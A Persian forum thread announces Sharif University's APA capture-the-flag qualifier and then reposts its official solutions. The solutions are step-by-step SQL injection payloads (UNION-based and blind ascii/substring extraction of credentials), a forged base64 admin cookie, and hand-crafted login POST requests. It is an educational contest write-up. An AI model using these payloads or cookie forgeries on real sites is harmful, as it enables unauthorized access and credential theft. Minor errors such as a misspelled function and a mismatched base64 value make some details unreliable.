برگزاری مرحله مقدماتی مسابقه هک و نفوذ به همت مرکز آپا شریف

danialfx

عضو جدید
کاربر ممتاز
مسابقه مقدماتی هک و نفوذ از مجموعه رقابت‌های نفوذ و دفاع در فضای مجازی توسط مرکز آپا دانشگاه صنعتی شریف با هدف احراز صلاحیت تخصصی و انتخاب تیم‌های شرکت‌کننده در مرحله اصلی مسابقه هک و نفوذ برگزار شد. در این مرحله که با شرکت ۴۹ تیم از مراکز دانشگاهی، شرکت‌های خصوصی و گروه‌های متخصص فعال در این حوزه برگزار گردید، تیم‌های شرکت کننده در محورهای مختلفی همچون سوالات عمومی امنیت، نفوذگری در وب، کشف شواهد الکترونیکی (Forensics)، مهندسی معکوس (Reverse Engineering) و نوشتن کد سوء‌استفاده (Exploiting) به رقابت پرداختند و به چالش‌های طراحی شده پاسخ دادند.

این مرحله به صورت برخط و از راه دور و با اتصال هر یک از تیم‌های شرکت‌کننده به صفحه سوالات مسابقه برگزار گردید. هر یک از تیم‌های شرکت کننده در این مرحله با حل هر چالش به یک کلید دست پیدا می‌كردند كه با ثبت کلید در سیستم امتیازدهی، امتیاز مربوط به چالش را كسب می‌كردند. امتیاز هر یک از چالش‌ها بر اساس میزان پیچیدگی آن چالش تعیین شد. علاوه بر این برای تیم‌هایی كه موفق به حل سریعتر چالش‌ها شدند، یک امتیاز اضافی علاوه بر امتیاز تعیین شده برای همان چالش اختصاص می‌یافت. در طی برگزاری مسابقه امکان تعامل تیم‌های شرکت کننده با یکدیگر و با برگزارکنندگان مسابقه از طریق IRC فراهم گردید كه این امر به اعلام سریع اخبار و پیام‌های تیم برگزار‌كننده به كلیه تیم‌ها كمك كرد. همچنین كلیه اخبار در صفحه اختصاصی سایت رسمی آپا شریف و نیز صفحه اخبار كه در صفحات کاربری تیم‌ها تعبیه شده بود اعلام می‌گردید.

برای اجرای این مرحله از مسابقه، دسترسی تیم‌های شرکت‌کننده از طریق شبکه خصوصی مجازی (VPN) به شبكه رقابت‌ها پیش‌بینی شد. اما باتوجه به مشکلات فنی برخی از تیم‌های شرکت‌کننده در اتصال به شبکه خصوصی مجازی، به منظور ارتقای سطح کیفی مسابقه و رعایت عدالت در برگزاری مسابقه، شرط اتصال از طریق VPN حذف گردید و امکان اتصال مستقیم کلیه تیم‌ها به کارگزاران مسابقه برقرار گردید. به همین دلیل و با تقاضاهای مکرر شرکت‌کنندگان مبنی بر افزایش زمان مسابقه، زمان پایان مسابقه در طی دو مرحله تا ساعت ۲۱:۳۰ شب تمدید گردید.

در طی برگزاری این مسابقه، تیم نظارت بر مسابقه، به رصد فعالیت‌های هر یک از تیم‌ها و مقابله با حملات صورت پذیرفته به کارگزاران مسابقه پرداختند. نکته قابل توجه در طی برگزاری این مسابقه، حجم قابل توجه حملات بیرونی، خصوصاً حملات منع سرویس توزیع شده (DDoS)، به كارگزارهای مسابقه بوده است، که تلاش تیم نظارت مسابقه، مانع از ایجاد اختلال جدی در روند برگزاری مسابقه گردید.

جدول رده‌بندی نتایج مرحله مقدماتی مسابقه نشان می‌دهد که از بین ۴۹ تیم شرکت‌کننده، ۲۹ تیم موفق به کسب امتیاز شدند. از میان این ۲۹ تیم نیز ۱۰ تیم صرفاً موفق به کسب ۲۰۰ امتیاز یا کمتر شدند و ۱۹ تیم موفق به کسب بیش از ۶۰۰ امتیاز شدند. لیست تیم‌های مجاز برای شرکت در مسابقه اصلی به زودی اعلام خواهد شد. جدول کامل رده‌بندی تیم‌های شرکت کننده در مرحله مقدماتی از آدرس http://cert.sharif.ir/fa/Score-Board.htm قابل دسترسی است.

خاطرنشان می‌شود، مرحله اصلی مسابقه، در تاریخ هفتم تیر ماه و با حضور تیم‌های منتخب، در محل دانشکده مهندسی کامپیوتر دانشگاه صنعتی شریف توسط مرکز آپا شریف برگزار خواهد گردید.

همچنین، جزییات بیشتر در خصوص نحوه برگزاری مرحله اصلی مسابقه هک و نفوذ و قوانین و شرایط حاکم بر شرکت در آن، متعاقباً از طریق وبگاه مرکز آپا شریف به آدرس http://cert.sharif.ir اعلام می‌گردد.
 

Drago

پیشکسوت فعال فناوری اطلاعات
کاربر ممتاز
البته این کار اسمش هک نیست،کرک و نفوذگریه.
به قول یکی از وبلاگ نویس ها هرچی توی دنیا خلافه واسه ما ارزشه!!
این هم خیلی باحال بود :
نکته قابل توجه در طی برگزاری این مسابقه، حجم قابل توجه حملات بیرونی، خصوصاً حملات منع سرویس توزیع شده (DDoS)، به كارگزارهای مسابقه بوده است، که تلاش تیم نظارت مسابقه، مانع از ایجاد اختلال جدی در روند برگزاری مسابقه گردید.
توی اخبار میذاشتی بهتر نبود؟
 

danialfx

عضو جدید
کاربر ممتاز
1-البته این کار اسمش هک نیست،کرک و نفوذگریه.
به قول یکی از وبلاگ نویس ها هرچی توی دنیا خلافه واسه ما ارزشه!!
این هم خیلی باحال بود :

2-توی اخبار میذاشتی بهتر نبود؟

1- امیرجان. چه اصراری هست که تعریف درست رو به کار ببری ؟؟؟
من از کشورهای خارجی اطلاعی ندارم ولی اون چیزی که تو ایران عرف شده و همه به کار میبرن :
هک به معنای خرابکاری تو سایت ها . عوض کردن رمز عبور و ... هست
و کرک هم به معنای رجیستر کردن نرم افزار ها به شکل غیر قانونیه.

البته تعریف شما درسته ولی مثل همون وزن و جرم هست . مثلا جرم ما 90 کیلوئه ولی همش میگیم وزن. !!!!!!


2- سوال و جواب های این مسابقه هم تو سایتشون قرار گرفته. دیشب وقت نشد سوال و جواب ها رو بگذارم. به خاطر اینکه میخواستم سوال و جواب بگذارم و تاپیک اموزشی میشد تو این تاپیک زدم .
وگرنا حرف شما درسته. بهتر بود تو اخبار زده میشد.
قربونت داداش
 

danialfx

عضو جدید
کاربر ممتاز
همه این سوال و جواب ها که پست میشوند از لینک زیر کپی شده :
http://cert.sharif.edu/fa/ContestSolution.aspx



توضیح مهم

پاسخ‌‌ها ( اطلاعات نه راه حل ) قطعا با پاسخ‌‌های شرکت کنندگان یکی نیست، برای مثال در حمله injection، در اینجا اسم table ممکن است a آمده باشد اما در مسابقه b. این امر به دلیل dynamic بودن نام database، table، colum، username و password ها است. اما این امر در راه حل کلی خللی به وجود نمی‌آورد.

بخش نفوذگري در وب

چالش اول

ضعف امنیتی مربوط به این چالش از cookie کاربر ناشی می‌شود. عدم چک کردن نام کاربری با رمز عبور مشخص!

در ابتدای مسابقه شرکت کننده باید به شاخه / که فاقد index است، مراجعه کند و در این صورت صفحه register.php را مشاهده می‌کند.

پس از register کردن و وارد panel شدن، یکcookie به کابر اختصاص داده می‌شود که به شكل زير است:


NTp0ZXN0OjA5OGY2YmNkNDYyMWQzNzNjYWRlNGU4MzI2MjdiNGY2



این cookie از وارد کردن test به عنوان نام کاربری و رمز عبور به دست آمده است. به راحتی می‌توان فهمید که رشته بالا به وسیله base64 رمزنگاری شده است پس با استفاده از یک base64 decoder:


Echo base64_decoe(‘NTp0ZXN0OjA5OGY2YmNkNDYyMWQzNzNjYWRlNGU4MzI2MjdiNGY2’);

و خروجی:


5:test:098f6bcd4621d373cade4e832627b4f6

اين خروجي مقدار هش شده test که به عنوان رمز عبور اتخاب شده بود، است. پس ساختار ذخیره شدن cookie اين گونه است:


[id]:[username]

شرکت کننده پس از وارد شده به قسمت مدیریت سایت و دیدن نام‌های کاربری (User list ) با تعویض id خود به 1 و username خود به administrator در cookie به عنوان مدیر شناخته می‌شود و کلید را به دست می‌آورد.


1:administrator

که معادل base64 آن:


MTphZG1pbmlzdHJhdG9yOmJsYWhibGFoDQoNCg==

پس از زدن کلید F5 شرکت کننده به کلید دست پیدا می‌کند.
 

danialfx

عضو جدید
کاربر ممتاز
چالش دوم

سورس این مسابقه دارای MySQL Injection است. چند نقطه از سایت به برخی از خطاهای MySQL بر می‌خوریم.

ساده‌ترین لینک‌ها برای تزریق عبارتند از:


/index.php?faqcategory=3&faqid=27
index.php?faqcategory=3&faqid=25

با وارد کردن URL زیر:


/index.php?faqcategory=3&faqid=25 and 1=0 union select 1,2,3,4,5,6,7,8 from blah

به اسم database می‌رسیم:


0495ec546d9fa60d5c48eaa36c4bb6b1_362aad24a9

و با اجرای query زیر:


/index.php?faqcategory=3&faqid=25 and 1=0 union select 1,group_concat(table_name),3,4,5,6,7,8 from information_schema.tables where table_schema=’0495ec546d9fa60d5c48eaa36c4bb6b1_362aad24a9’

به اسامی table ها می‌رسیم:


data_8a1f6,news,whatdafaq,whatdafaqcat

برای دیدن ستون‌ها:


?faqid=25 and 1=0 union select 1,group_concat(column_name),3,4,5,6,7,8 from information_schema.columns where table_schema='0495ec546d9fa60d5c48eaa36c4bb6b1_362aad24a9' and table_name='data_8a1f6'

جواب می‌گیریم:


user_2ef67a8207,pass_a82071a42fab6fc

سپس با query زیر:


?faqid=25 and 1=0 union select 1,user_2ef67a8207,pass_a82071a42fab6fc,4,5,6,7,8 from data_8a1f6

به نام کاربری و رمز عبور خواهید رسید. با مراجعه به صفحه loginform.php یک فیلد برای وارد کردن کلمه عبور می‌بینید، اما هنگام ارسال اطلاعات:


POST [path]/login.php HTTP/1.0
Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, application/x-shockwave-flash, */*
Referer: [path]/loginform.php
Accept-Language: en-us
Content-Type: application/x-www-form-urlencoded
Proxy-Connection: Keep-Alive
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)
Host: 192.168.1.44
Pragma: no-cache
Cookie: PHPSESSID=launkmorvi43bgfg1kgpkkbtf0
Content-Length: 32

username=administrator&password=blahblah

فیلد username نیز مشهود است! با فرستادن اطلاعات به صورت دستی:

POST [path]/login.php HTTP/1.0
Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, application/x-shockwave-flash, */*
Referer: [path]/loginform.php
Accept-Language: en-us
Content-Type: application/x-www-form-urlencoded
Proxy-Connection: Keep-Alive
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)
Host: 192.168.1.44
Pragma: no-cache
Cookie: PHPSESSID=launkmorvi43bgfg1kgpkkbtf0
Content-Length: 32

username=idoisrtnamrta&password=d3mri16ao5spw24s

یا با استفاده از افزونه firebug:

 

danialfx

عضو جدید
کاربر ممتاز
چالش سوم

این مسابقه نیز مانند مسابقه قبل حفره MySQL Injection دارد. از نوع Blind!

ابتدا شرکت کننده با دیدن سورس HTML صفحه index.php:


<form method = 'get' action = '' >
<input class='small' type='hidden' name='vul' value='MmVkMmM5MjdlZDU4ZjQ4MGQ0Njk1ZjYwMjczZTQ5MzA='><br>Nothing



به اين موضوع پی می‌برد، Post method که بر روی get است و با استفاده از vul مقدار می‌گیرد، پس:


/index.php?vul=2

در صورت وارد کردن:


/index.php?vul=2 and 1=1
/index.php?vul=2 and 1=0
/index.php?vul=2’

که اولی true است و مقادیر را از databse بر می‌گرداند، دومی false است و چیزی بر نمی‌گرداند و سومی پیغام Deniedرا بر می‌گرداند که مربوط به error است. انتظار می‌رود که شرکت کننده با دیدن نتایج درخواست های بالا به مجوز Blind injection پی ببرد.

اقدام دوم دیدن فایل db است که حاوی table name و column nameها است. شرکت کننده باید username و password را از طریق متود زیر به دست آورد:


/?vul=1 AND ascii(substring((SELECT user from admin),1,1))>1

تا موقعی که عبارت nothing بر روی صفحه ظاهر می‌شود. اين به اين معني است كه كاراكتر مورد نظر در نام كاربري وجود ندارد. بر اين اساس در صورت false بودن هيچ مقداري بر نمي‌گردد. پس آخرین عدد بعد از اولین false، اولین حرف username است!

برای مثال:


/?vul=1 AND ascii(substring((SELECT user from admin),1,1))>96

مقدار nothing را بر می‌گرداند اما:


/?vul=1 AND ascii(substring((SELECT user from admin),1,1))>97

چیزی بر نمی‌گرداند پس معادل ASCII عدد 97 اولین حرف username است که می‌شود a!

سپس به دنبال حرف دوم می‌رویم:


/?vul=1 AND ascii(substring((SELECT user from admin),1,2))>1

و همین روال را تا جایی ادامه می‌دهیم که تمامی حروف username و password را به دست آوریم و با وارد کردن اطلاعات در login.php به کلید می‌رسیم!

نکته: اگر اعداد ما تا 127 پیش برود و تمامی URL ها true برگردانند متوجه می‌شویم که حروف usernameبا password تمام شده است.


/?vul=1 AND ascii(substring((SELECT user from admin),1,2))>127
 
Similar threads
Thread starter عنوان تالار پاسخ ها تاریخ
anahita shams برگزاری نمایشگاه فناوری اطلاعات در بحرین آخرین اخبار و تحولات IT 0

Similar threads

بالا